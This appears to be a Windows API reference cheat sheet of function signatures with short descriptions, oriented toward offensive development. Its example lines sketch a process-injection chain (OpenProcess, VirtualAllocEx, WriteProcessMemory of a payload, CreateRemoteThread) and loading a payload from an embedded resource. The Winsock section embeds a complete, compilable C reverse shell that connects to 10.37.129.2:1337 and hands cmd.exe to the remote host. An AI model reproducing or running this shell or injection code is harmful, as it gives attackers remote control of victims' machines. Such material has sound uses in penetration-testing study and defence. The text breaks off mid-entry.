- Windows API Function Cheatsheets
- File Operations
- Process Management
- Memory Management
- Thread Management
- Dynamic-Link Library (DLL) Management
- Synchronization
- Interprocess Communication
- Windows Hooks
- Cryptography
- Debugging
- Winsock
- Registry Operations
- Error Handling
- Resource Management
- Unicode String Functions
- Win32 Structs Cheat Sheet
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
); // Opens an existing file or creates a new file.
BOOL ReadFile(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
); // Reads data from the specified file.
BOOL WriteFile(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
); // Writes data to the specified file.
BOOL CloseHandle(
HANDLE hObject
); // Closes an open handle.
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
); // Opens an existing local process object. e.g., try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
HANDLE CreateProcess(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); // The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.
// Start the child process
// No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structure
CreateProcess( NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
UINT WinExec(
[in] LPCSTR lpCmdLine,
[in] UINT uCmdShow
); // Runs the specified application.
result = WinExec(L"C:\\Windows\\System32\\cmd.exe", SW_SHOWNORMAL);
BOOL TerminateProcess(
HANDLE hProcess,
UINT uExitCode
); // Terminates the specified process.
BOOL ExitWindowsEx(
[in] UINT uFlags,
[in] DWORD dwReason
); // Logs off the interactive user, shuts down the system, or shuts down and restarts the system.
bResult = ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_APPLICATION);
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
); // used to obtain information about processes and threads running on a Windows system.
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
); // used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.
BOOL Process32Next(
[in] HANDLE hSnapshot,
[out] LPPROCESSENTRY32 lppe
); // used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
); // Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); // pRemoteCode from VirtualAllocEx
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
); // ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.
bResult = ReadProcessMemory(pHandle, (void*)baseAddress, &address, sizeof(address), 0);
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize, // Shellcode must be between 0x1 and 0x10000 bytes (page size)
DWORD flAllocationType, // #define MEM_COMMIT 0x00001000
DWORD flProtect // #define PAGE_EXECUTE_READWRITE 0x00000040
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
BOOL VirtualFree(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
); // Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.
VirtualProtect function (memoryapi.h)
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
); // Changes the protection on a region of committed pages in the virtual address space of the calling process.
VOID RtlMoveMemory(
_Out_ VOID UNALIGNED *Destination,
_In_ const VOID UNALIGNED *Source,
_In_ SIZE_T Length
); // Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, // A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle.
[in] SIZE_T dwStackSize, // The initial size of the stack, in bytes.
[in] LPTHREAD_START_ROUTINE lpStartAddress, // A pointer to the application-defined function of type LPTHREAD_START_ROUTINE
[in, optional] __drv_aliasesMem LPVOID lpParameter, // A pointer to a variable to be passed to the thread function.
[in] DWORD dwCreationFlags, // The flags that control the creation of the thread.
[out, optional] LPDWORD lpThreadId // A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.
); // Creates a thread to execute within the virtual address space of the calling process.
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, 0);
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
); // Creates a thread that runs in the virtual address space of another process.
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory
HANDLE CreateRemoteThreadEx(
[in] HANDLE hProcess,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[out, optional] LPDWORD lpThreadId
); // Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity.
// See InitializeProcThreadAttributeList
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, lpAttributeList, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory
VOID ExitThread(
DWORD dwExitCode
); // Terminates the calling thread and returns the exit code to the operating system.
BOOL GetExitCodeThread(
HANDLE hThread,
LPDWORD lpExitCode
); // Retrieves the termination status of the specified thread.
DWORD ResumeThread(
HANDLE hThread
); // Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.
DWORD SuspendThread(
HANDLE hThread
); // Suspends the specified thread.
BOOL TerminateThread(
HANDLE hThread,
DWORD dwExitCode
); // Terminates the specified thread.
BOOL CloseHandle(
HANDLE hObject
); // Closes an open handle.
HMODULE LoadLibrary(
LPCTSTR lpFileName
); // Loads a dynamic-link library (DLL) module into the address space of the calling process.
HMODULE LoadLibraryExA(
[in] LPCSTR lpLibFileName,
HANDLE hFile,
[in] DWORD dwFlags
); // Loads the specified module into the address space of the calling process, with additional options.
HMODULE hModule = LoadLibraryExA("ws2_32.dll", NULL, LOAD_LIBRARY_SAFE_CURRENT_DIRS);
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
); // Retrieves the address of an exported function or variable from the specified DLL.
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
BOOL FreeLibrary(
HMODULE hModule
); // Frees the loaded DLL module and, if necessary, decrements its reference count.
HANDLE CreateMutex(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCTSTR lpName
); // Creates a named or unnamed mutex object.
HANDLE CreateSemaphore(
LPSECURITY_ATTRIBUTES lpSemaphoreAttributes,
LONG lInitialCount,
LONG lMaximumCount,
LPCTSTR lpName
); // Creates a named or unnamed semaphore object.
BOOL ReleaseMutex(
HANDLE hMutex
); // Releases ownership of the specified mutex object.
BOOL ReleaseSemaphore(
HANDLE hSemaphore,
LONG lReleaseCount,
LPLONG lpPreviousCount
); // Increases the count of the specified semaphore object by a specified amount.
DWORD WaitForSingleObject(
[in] HANDLE hHandle,
[in] DWORD dwMilliseconds
); // Waits until the specified object is in the signaled state or the time-out interval elapses.
WaitForSingleObject(hThread, 500);
BOOL CreatePipe(
PHANDLE hReadPipe,
PHANDLE hWritePipe,
LPSECURITY_ATTRIBUTES lpPipeAttributes,
DWORD nSize
); // Creates an anonymous pipe and returns handles to the read and write ends of the pipe.
HANDLE CreateNamedPipe(
LPCTSTR lpName,
DWORD dwOpenMode,
DWORD dwPipeMode,
DWORD nMaxInstances,
DWORD nOutBufferSize,
DWORD nInBufferSize,
DWORD nDefaultTimeOut,
LPSECURITY_ATTRIBUTES lpSecurityAttributes
); // Creates a named pipe and returns a handle for subsequent pipe operations.
BOOL ConnectNamedPipe(
HANDLE hNamedPipe,
LPOVERLAPPED lpOverlapped
); // Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.
BOOL DisconnectNamedPipe(
HANDLE hNamedPipe
); // Disconnects the server end of a named pipe instance from a client process.
HANDLE CreateFileMapping(
HANDLE hFile,
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
DWORD flProtect,
DWORD dwMaximumSizeHigh,
DWORD dwMaximumSizeLow,
LPCTSTR lpName
); // Creates or opens a named or unnamed file mapping object for a specified file.
LPVOID MapViewOfFile(
HANDLE hFileMappingObject,
DWORD dwDesiredAccess,
DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow,
SIZE_T dwNumberOfBytesToMap
); // Maps a view of a file mapping into the address space of the calling process.
BOOL UnmapViewOfFile(
LPCVOID lpBaseAddress
); // Unmaps a mapped view of a file from the calling process's address space.
BOOL CloseHandle(
HANDLE hObject
); // Closes an open handle.
HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
); // Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
LRESULT CallNextHookEx(
[in, optional] HHOOK hhk,
[in] int nCode,
[in] WPARAM wParam,
[in] LPARAM lParam
); // Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
BOOL UnhookWindowsHookEx(
[in] HHOOK hhk
); // Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.
SHORT GetAsyncKeyState(
[in] int vKey
); // Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
SHORT GetKeyState(
[in] int nVirtKey
); // Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).
BOOL GetKeyboardState(
[out] PBYTE lpKeyState
); // Copies the status of the 256 virtual keys to the specified buffer.
BOOL CryptBinaryToStringA(
[in] const BYTE *pbBinary,
[in] DWORD cbBinary,
[in] DWORD dwFlags,
[out, optional] LPSTR pszString,
[in, out] DWORD *pcchString
); // The CryptBinaryToString function converts an array of bytes into a formatted string.
BOOL CryptDecrypt(
[in] HCRYPTKEY hKey,
[in] HCRYPTHASH hHash,
[in] BOOL Final,
[in] DWORD dwFlags,
[in, out] BYTE *pbData,
[in, out] DWORD *pdwDataLen
); // The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.
BOOL CryptEncrypt(
[in] HCRYPTKEY hKey,
[in] HCRYPTHASH hHash,
[in] BOOL Final,
[in] DWORD dwFlags,
[in, out] BYTE *pbData,
[in, out] DWORD *pdwDataLen,
[in] DWORD dwBufLen
); // The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.
BOOL CryptDecryptMessage(
[in] PCRYPT_DECRYPT_MESSAGE_PARA pDecryptPara,
[in] const BYTE *pbEncryptedBlob,
[in] DWORD cbEncryptedBlob,
[out, optional] BYTE *pbDecrypted,
[in, out, optional] DWORD *pcbDecrypted,
[out, optional] PCCERT_CONTEXT *ppXchgCert
); // The CryptDecryptMessage function decodes and decrypts a message.
BOOL CryptEncryptMessage(
[in] PCRYPT_ENCRYPT_MESSAGE_PARA pEncryptPara,
[in] DWORD cRecipientCert,
[in] PCCERT_CONTEXT [] rgpRecipientCert,
[in] const BYTE *pbToBeEncrypted,
[in] DWORD cbToBeEncrypted,
[out] BYTE *pbEncryptedBlob,
[in, out] DWORD *pcbEncryptedBlob
); // The CryptEncryptMessage function encrypts and encodes a message.
BOOL IsDebuggerPresent(); // Determines whether the calling process is being debugged by a user-mode debugger.
BOOL CheckRemoteDebuggerPresent(
[in] HANDLE hProcess,
[in, out] PBOOL pbDebuggerPresent
); // Determines whether the specified process is being debugged.
void OutputDebugStringA(
[in, optional] LPCSTR lpOutputString
); // Sends a string to the debugger for display.
/*** Windows Reverse Shell
*
* ██████ ███▄ █ ▒█████ █ █░ ▄████▄ ██▀███ ▄▄▄ ██████ ██░ ██
* ▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▒
* ░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█ ▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▀▀██░
* ▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒░▓█ ░██
* ▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒██████▒▒░▓█▒░██▓
* ▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒
* ░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░
* ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░
* ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
* Written by: [email protected] (snowcra5h) 2023
*
* This program establishes a reverse shell via the Winsock2 library. It is
* designed to establish a connection to a specified remote server, and execute commands
* received from the server on the local machine, giving the server
* control over the local machine.
*
* Compile command (using MinGW on Wine):
* wine gcc.exe windows.c -o windows.exe -lws2_32
*
* This code is intended for educational and legitimate penetration testing purposes only.
* Please use responsibly and ethically.
*
*/
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
const char* const PORT = "1337";
const char* const IP = "10.37.129.2";
typedef struct {
HANDLE hPipeRead;
HANDLE hPipeWrite;
SOCKET sock;
} ThreadParams;
DWORD WINAPI OutputThreadFunc(LPVOID data);
DWORD WINAPI InputThreadFunc(LPVOID data);
void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock);
int main(int argc, char** argv) {
WSADATA wsaData;
int err = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (err != 0) {
fprintf(stderr, "WSAStartup failed: %d\n", err);
return 1;
}
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (sock == INVALID_SOCKET) {
fprintf(stderr, "Socket function failed with error = %d\n", WSAGetLastError());
WSACleanup();
return 1;
}
struct addrinfo hints = { 0 };
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo* result;
err = getaddrinfo(IP, PORT, &hints, &result);
if (err != 0) {
fprintf(stderr, "Failed to get address info: %d\n", err);
CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
return 1;
}
if (WSAConnect(sock, result->ai_addr, (int)result->ai_addrlen, NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
fprintf(stderr, "Failed to connect.\n");
CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
return 1;
}
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hInputWrite, hOutputRead, hInputRead, hOutputWrite;
if (!CreatePipe(&hOutputRead, &hOutputWrite, &sa, 0) || !CreatePipe(&hInputRead, &hInputWrite, &sa, 0)) {
fprintf(stderr, "Failed to create pipe.\n");
CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
return 1;
}
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = hInputRead;
startupInfo.hStdOutput = hOutputWrite;
startupInfo.hStdError = hOutputWrite;
PROCESS_INFORMATION processInfo;
WCHAR cmd[] = L"cmd.exe /k";
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)) {
fprintf(stderr, "Failed to create process.\n");
CleanUp(hInputWrite, hInputRead, hOutputWrite, hOutputRead, processInfo, result, sock);
return 1;
}
CloseHandle(hInputRead);
CloseHandle(hOutputWrite);
CloseHandle(processInfo.hThread);
ThreadParams outputParams = { hOutputRead, NULL, sock };
ThreadParams inputParams = { NULL, hInputWrite, sock };
HANDLE hThread[2];
hThread[0] = CreateThread(NULL, 0, OutputThreadFunc, &outputParams, 0, NULL);
hThread[1] = CreateThread(NULL, 0, InputThreadFunc, &inputParams, 0, NULL);
WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
CleanUp(hInputWrite, NULL, NULL, hOutputRead, processInfo, result, sock);
return 0;
}
void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock) {
if (hInputWrite != NULL) CloseHandle(hInputWrite);
if (hInputRead != NULL) CloseHandle(hInputRead);
if (hOutputWrite != NULL) CloseHandle(hOutputWrite);
if (hOutputRead != NULL) CloseHandle(hOutputRead);
if (processInfo.hProcess != NULL) CloseHandle(processInfo.hProcess);
if (processInfo.hThread != NULL) CloseHandle(processInfo.hThread);
if (result != NULL) freeaddrinfo(result);
if (sock != NULL) closesocket(sock);
WSACleanup();
}
DWORD WINAPI OutputThreadFunc(LPVOID data) {
ThreadParams* params = (ThreadParams*)data;
char buffer[4096];
DWORD bytesRead;
while (ReadFile(params->hPipeRead, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) {
buffer[bytesRead] = '\0';
send(params->sock, buffer, bytesRead, 0);
}
return 0;
}
DWORD WINAPI InputThreadFunc(LPVOID data) {
ThreadParams* params = (ThreadParams*)data;
char buffer[4096];
int bytesRead;
while ((bytesRead = recv(params->sock, buffer, sizeof(buffer) - 1, 0)) > 0) {
DWORD bytesWritten;
WriteFile(params->hPipeWrite, buffer, bytesRead, &bytesWritten, NULL);
}
return 0;
}
int WSAStartup(
WORD wVersionRequired,
LPWSADATA lpWSAData
); // Initializes the Winsock library for an application. Must be called before any other Winsock functions.
int WSAConnect(
SOCKET s, // Descriptor identifying a socket.
const struct sockaddr* name, // Pointer to the sockaddr structure for the connection target.
int namelen, // Length of the sockaddr structure.
LPWSABUF lpCallerData, // Pointer to user data to be transferred during connection.
LPWSABUF lpCalleeData, // Pointer to user data transferred back during connection.
LPQOS lpSQOS, // Pointer to flow specs for socket s, one for each direction.
LPQOS lpGQOS // Pointer to flow specs for the socket group.
); // Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.
int WSASend(
SOCKET s, // Descriptor identifying a connected socket.
LPWSABUF lpBuffers, // Array of buffers for data to be sent.
DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
DWORD dwFlags, // Flags to modify the behavior of the function call.
LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.
int WSARecv(
SOCKET s, // Descriptor identifying a connected socket.
LPWSABUF lpBuffers, // Array of buffers to receive the incoming data.
DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call.
LPDWORD lpFlags, // Flags to modify the behavior of the function call.
LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed.
); //Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.
int WSASendTo(
SOCKET s, // Descriptor identifying a socket.
LPWSABUF lpBuffers, // Array of buffers containing the data to be sent.
DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
DWORD dwFlags, // Flags to modify the behavior of the function call.
const struct sockaddr* lpTo, // Pointer to the sockaddr structure for the target address.
int iToLen, // Size of the address in lpTo.
LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.
int WSARecvFrom(
SOCKET s, // Descriptor identifying a socket.
LPWSABUF lpBuffers, // Array of buffers to receive the incoming data.
DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call.
LPDWORD lpFlags, // Flags to modify the behavior of the function call.
struct sockaddr* lpFrom, // Pointer to an address structure that will receive the source address upon completion of the operation.
LPINT lpFromlen, // Pointer to the size of the lpFrom address structure.
LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed.
); //Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.
int WSAAsyncSelect(
SOCKET s, // Descriptor identifying the socket.
HWND hWnd, // Handle to the window which should receive the message.
unsigned int wMsg, // Message to be received when an event occurs.
long lEvent // Bitmask specifying a group of conditions to be monitored.
); // Requests Windows message - based notification of network events for a socket.
SOCKET socket(
int af,
int type,
int protocol
); // Creates a new socket for network communication.
int bind(
SOCKET s,
const struct sockaddr *name,
int namelen
); // Binds a socket to a specific local address and port.
int listen(
SOCKET s,
int backlog
); // Sets a socket to listen for incoming connections.
SOCKET accept(
SOCKET s,
struct sockaddr *addr,
int *addrlen
); // Accepts a new incoming connection on a listening socket.
int connect(
SOCKET s,
const struct sockaddr *name,
int namelen
); // Initiates a connection on a socket to a remote address.
int send(
SOCKET s,
const char *buf,
int len,
int flags
); // Sends data on a connected socket.
int recv(
SOCKET s,
char *buf,
int len,
int flags
); // Receives data from a connected socket.
int closesocket(
SOCKET s
); //Closes a socket and frees its resources.
hostent* gethostbyname(
const char* name // either a hostname or an IPv4 address in dotted-decimal notation
); // returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo
LONG RegOpenKeyExW(
HKEY hKey,
LPCWTSTR lpSubKey,
DWORD ulOptions,
REGSAM samDesired,
PHKEY phkResult
); // Opens the specified registry key.
LONG RegQueryValueExW(
HKEY hKey,
LPCWTSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
); // Retrieves the type and data of the specified value name associated with an open registry key.
LONG RegSetValueEx(
HKEY hKey,
LPCWTSTR lpValueName,
DWORD Reserved,
DWORD dwType,
const BYTE *lpData,
DWORD cbData
); // Sets the data and type of the specified value name associated with an open registry key.
LONG RegCloseKey(
HKEY hKey
); // Closes a handle to the specified registry key.
LSTATUS RegCreateKeyExA(
[in] HKEY hKey,
[in] LPCSTR lpSubKey,
DWORD Reserved,
[in, optional] LPSTR lpClass,
[in] DWORD dwOptions,
[in] REGSAM samDesired,
[in, optional] const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[out] PHKEY phkResult,
[out, optional] LPDWORD lpdwDisposition
); // Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive.
LSTATUS RegSetValueExA(
[in] HKEY hKey,
[in, optional] LPCSTR lpValueName,
DWORD Reserved,
[in] DWORD dwType,
[in] const BYTE *lpData,
[in] DWORD cbData
); // Sets the data and type of a specified value under a registry key.
LSTATUS RegCreateKeyA(
[in] HKEY hKey,
[in, optional] LPCSTR lpSubKey,
[out] PHKEY phkResult
); // Creates the specified registry key. If the key already exists in the registry, the function opens it.
LSTATUS RegDeleteKeyA(
[in] HKEY hKey,
[in] LPCSTR lpSubKey
); // Deletes a subkey and its values. Note that key names are not case sensitive.
__kernel_entry NTSTATUS NtRenameKey(
[in] HANDLE KeyHandle,
[in] PUNICODE_STRING NewName
); // Changes the name of the specified registry key.
int WSAGetLastError(
void
); // Returns the error status for the last Windows Sockets operation that failed.
void WSASetLastError(
int iError
); // Sets the error status for the last Windows Sockets operation.
BOOL WSAGetOverlappedResult(
SOCKET s,
LPWSAOVERLAPPED lpOverlapped,
LPDWORD lpcbTransfer,
BOOL fWait,
LPDWORD lpdwFlags
); // Determines the results of an overlapped operation on the specified socket.
int WSAIoctl(
SOCKET s,
DWORD dwIoControlCode,
LPVOID lpvInBuffer,
DWORD cbInBuffer,
LPVOID lpvOutBuffer,
DWORD cbOutBuffer,
LPDWORD lpcbBytesReturned,
LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
); // Controls the mode of a socket.
WSAEVENT WSACreateEvent(
void
); // Creates a new event object.
BOOL WSASetEvent(
WSAEVENT hEvent
); // Sets the state of the specified event object to signaled.
BOOL WSAResetEvent(
WSAEVENT hEvent
); // Sets the state of the specified event object to nonsignaled.
BOOL WSACloseEvent(
WSAEVENT hEvent
); // Closes an open event object handle.
DWORD WSAWaitForMultipleEvents(
DWORD cEvents,
const WSAEVENT *lphEvents,
BOOL fWaitAll,
DWORD dwTimeout,
BOOL fAlertable
); // Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.
HRSRC FindResource(
[in, optional] HMODULE hModule, // A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process.
[in] LPCSTR lpName, // The name of the resource.
[in] LPCSTR lpType // The resource type.
); // Determines the location of a resource with the specified type and name in the specified module.
HRSRC res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
HGLOBAL LoadResource(
[in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource.
[in] HRSRC hResInfo // A handle to the resource to be loaded.
); // Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.
HGLOBAL resHandle = resHandle = LoadResource(NULL, res);
LPVOID LockResource(
[in] HGLOBAL hResData // A handle to the resource to be accessed
); // Retrieves a pointer to the specified resource in memory.
unsigned char * payload = (char *) LockResource(resHandle);
DWORD SizeofResource(
[in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource
[in] HRSRC hResInfo // A handle to the resource. This handle must be created by using FindResource
); // Retrieves the size, in bytes, of the specified resource.
unsigned int payload_len = SizeofResource(NULL, res);
#include <wchar.h> // for wide character string routines
size_t wcslen(
const wchar_t *str
); // Returns the length of the given wide string.
[wcscpy]
wchar_t *wcscpy(
wchar_t *dest,
const wchar_t *src
); // Copies the wide string from src to dest.
[wcsncpy]
wchar_t *wcsncpy(
wchar_t *dest,
const wchar_t *src,
size_t count
); // Copies at most count characters from the wide string src to dest.
[wcscat]
wchar_t *wcscat(
wchar_t *dest,
const wchar_t *src
); // Appends the wide string src to the end of the wide string dest.
[wcsncat]
wchar_t *wcsncat(
wchar_t *dest,
const wchar_t *src,
size_t count
); // Appends at most count characters from the wide string src to the end of the wide string dest.
[wcscmp]
int wcscmp(
const wchar_t *str1,
const wchar_t *str2
); // Compares two wide strings lexicographically.
[wcsncmp]
